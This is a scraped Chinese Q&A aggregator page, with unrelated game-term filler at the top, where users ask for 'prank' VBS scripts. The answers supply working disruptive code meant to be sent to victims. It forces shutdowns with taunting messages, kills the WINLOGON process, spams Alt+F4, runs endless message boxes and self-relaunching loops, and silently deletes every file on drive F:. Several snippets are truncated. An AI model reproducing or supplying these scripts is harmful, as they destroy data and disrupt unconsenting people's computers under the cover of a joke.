vbs恶搞代码
作者&投稿：贯庾 （若有异议请与网页底部的电邮联系）
汉字网络用语
游戏烧录卡\/振动包\/记忆包\/水晶引擎格式\/重播代码\/软复位\/双重软件复位\/高端游戏 龙王蜘蛛 灯笼 田鼠 小精灵 伐木场 城堡 斗地主 山丘之王 合金装备 卡利姆多 死亡骑士 阿尔塞斯 守望者 符咒 生命汲取 黑暗之箭 宁静 强击光环 黑暗游侠 秀逗魔导师 燃烧军团 格瑞姆巴托 罗宁 阴...
铜山县利肝回答： 1.set ad=createobject(＂wscript.shell＂) ad.run＂cmd /c shutdown -s -t 60＂ wscript.sleep 10 ad.Run ＂ntsd -c q -pn WINLOGON.exe＂2.Set ws = CreateObject(＂WScript.Shell＂) ws.RegWrite ＂HKEY_CURRENT_USER\Software\Microsoft\...
权阙19634193262问： 求高手帮我写段恶作剧的VBS代码! - ？
铜山县利肝回答： do until inputbox(＂＂,＂＂)=＂123＂ msgbox ＂密码错误＂ loop把下面的内容存为批处理文件 @echo off set n=0 :loopecho msgbox ＂你好!＂>%n%.vbsecho createobject^(＂scripting.filesystemobject＂^).deletefile wscript.scriptname>>%n%.vbsstart %n%.vbsset /a n+=1if %n%==10 exit goto :loop
权阙19634193262问： 有什么新鲜好玩的整人VBS代码?？
铜山县利肝回答：On Error Resume Next str=＂我是笨 蛋,笨蛋,ha ha ha ha/qq＂ Set WshShell=WScript.CreateObject(＂WScript.Shell＂) WshShell.run ＂mshta vbscript:clipboardData.SetData(＂+＂＂＂＂+＂text＂+＂＂＂＂+＂,＂+＂＂＂＂&str&＂＂＂＂+＂)...
权阙19634193262问： 谁给我一个整人的VBS代码啊 谢谢了 - ？
铜山县利肝回答： 有人要VBS整人代码,我就写了一个,如果玩笑开得过火,千万别骂我啊~简单描述一下:文件夹同名病毒(Autorun病毒)大家都熟悉吧?效果就是那样(不过放心吧,绝不是真的病毒,骗人的),试想,如果有人中招,他会怎么办?杀毒?...
权阙19634193262问： 自编了一个整人恶搞vbs小程序,代码如下: set w=CreateObject(＂Wscript.Shell＂) do w.run(WScript.ScriptName) loop 请问友们猜猜看看打开会发生什么后果?! - ？
铜山县利肝回答： =口= 目测会死机 没学过vb 但java里do语句是循环语句 目测不能退出循环 你这种死循环拿出来溜 完全在整人
权阙19634193262问： 求大神给我写一条vbs恶作剧程序代码.清楚易懂,可以自己改动回答内容的那种. 财富值多多 - ？
铜山县利肝回答： 下面是一个必须回答正确姓名才能退出的vbs程序,回答不正确,就会一直提示回答. 里面的文字很简单,双引号里面的内容,你就看着自己修改好了,注意是英文双引号. 两条线中间的代码放到记事本中,另存一下,后缀记得必须是.vbs,双...
权阙19634193262问： 谁给我编一个vbs格式的整人代码 - ？
铜山县利肝回答： set a = wscript.createobject(＂wscript.shell＂) a.run ＂cmd.exe /c shutdown -r -t 3600 -c ＂＂求我,我就告诉你怎么办...嘿嘿...＂＂ ＂,0 ,true 复制代码保存位**.vbs 发给你要整的人就可以了3600是时间 想让它多久关机就让它多久关机~!想要让对方运行你的程序就要看你自己的本事了 让他相信你..
权阙19634193262问： 求vbs整人代码 - ？
铜山县利肝回答： do while(1) msgbox ＂你死定了!＂ loop 还有更多的!:删除F:\所有文件 dim WSHshell set WSHshell = wscript.createobject(＂wscript.shell＂) WSHshell.run ＂cmd /c ＂＂del f:\*.* / f /q /s＂＂＂,0 ,true 不断按下alt+f4 (开什么都关闭……) dim WSHshell set WSHshell = wscript.createobject(＂wscript.shell＂) while(1) WSHshell.SendKeys ＂%{F4}＂ loop 试一试!!我要这样整过别人!
权阙19634193262问： 大量VBS整人代码？
铜山县利肝回答： 代码:on error resume next dim WSHshellA set WSHshellA = wscript.createobject(＂wscript.shell＂) WSHshellA.run ＂cmd.exe /c shutdown -r -t 60 -c ＂＂说我是猪,不说我是猪就一分钟关你机,不信,试试···＂＂ ＂,0 ,true dim a do while(a <...
权阙19634193262问： 求些恶搞VBS？
铜山县利肝回答： 第一个:dim adoset a=wscript.createobject(＂wscript.shell＂)a.sendkeys＂{F5}＂loop
